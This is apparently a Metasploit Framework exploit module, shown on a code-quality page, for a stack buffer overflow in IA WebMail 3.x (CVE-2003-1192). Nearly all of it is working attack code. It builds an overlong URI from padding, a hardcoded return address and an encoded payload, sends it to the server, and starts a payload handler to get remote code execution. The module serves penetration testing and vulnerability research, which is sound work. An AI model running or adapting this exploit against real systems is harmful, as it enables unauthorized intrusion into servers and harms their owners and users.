rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/http/ia_webmail.rb

Summary

Maintainability
A
1 hr
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IA WebMail 3.x Buffer Overflow',
      'Description'    => %q{
          This exploits a stack buffer overflow in the IA WebMail server.
        This exploit has not been tested against a live system at
        this time.
      },
      'Author'         => [ 'hdm' ],
      'References'     =>
        [
          [ 'CVE', '2003-1192'],
          [ 'OSVDB', '2757'],
          [ 'BID', '8965'],
          [ 'URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'IA WebMail 3.x',
            {
              'Ret'    => 0x1002bd33,
              'Length' => 1036
            },
          ]
        ],
      'DisclosureDate' => '2003-11-03',
      'DefaultTarget'  => 0))
  end

  def exploit
    print_status("Sending request...")

    send_request_raw({
      'uri' =>
        "/" + ("o" * target['Length']) +
        "META" +
        [target.ret].pack('V') +
        payload.encoded
    }, 2)

    handler
  end
end